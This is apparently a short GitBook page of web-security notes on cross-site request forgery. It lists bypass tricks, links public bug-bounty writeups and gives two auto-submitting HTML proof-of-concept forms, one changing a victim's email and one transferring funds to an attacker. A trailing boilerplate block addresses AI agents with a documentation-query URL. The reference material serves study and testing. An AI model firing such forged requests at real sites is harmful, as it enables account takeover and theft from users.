# CSRF

#### Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.

## Uses:

1.In email change functionality.

2.Other  change functionality.such as comment,password,fund transfer etc.

## Bypass csrf:

1. removing csrf token.
2. changing request method.
3. using other account csrf token.      //when token is not tied to user session&#x20;
4.
5.

## Exploit:

**1.simple:**

```html
<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
```

```html
html>
  <body>
    <form action="https://example.com/onlinebanking/transfer/funds" method="POST">
      <input type="hidden" name="recipient" value="attacker" />
      <input type="hidden" name="iban" value="BE13371337" />
      <input type="hidden" name="amount" value="1337" />
      <input type="hidden" name="message" value="thanks+for+donating+to+the+attacker" />
      <input type="submit" value="automated" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

## Writeups:

1. <https://ngailong.wordpress.com/2017/08/07/uber-login-csrf-open-redirect-account-takeover/>
2. <https://hackademic.co.in/youtube-bug/>
3. <https://labs.detectify.com/security-guidance/login-logout-csrf-time-to-reconsider/>     (login-logout csrf + self xss)
4. <https://whitton.io/articles/uber-turning-self-xss-into-good-xss/>    (login-logout csrf + self xss).
5.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/exploitation/csrf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
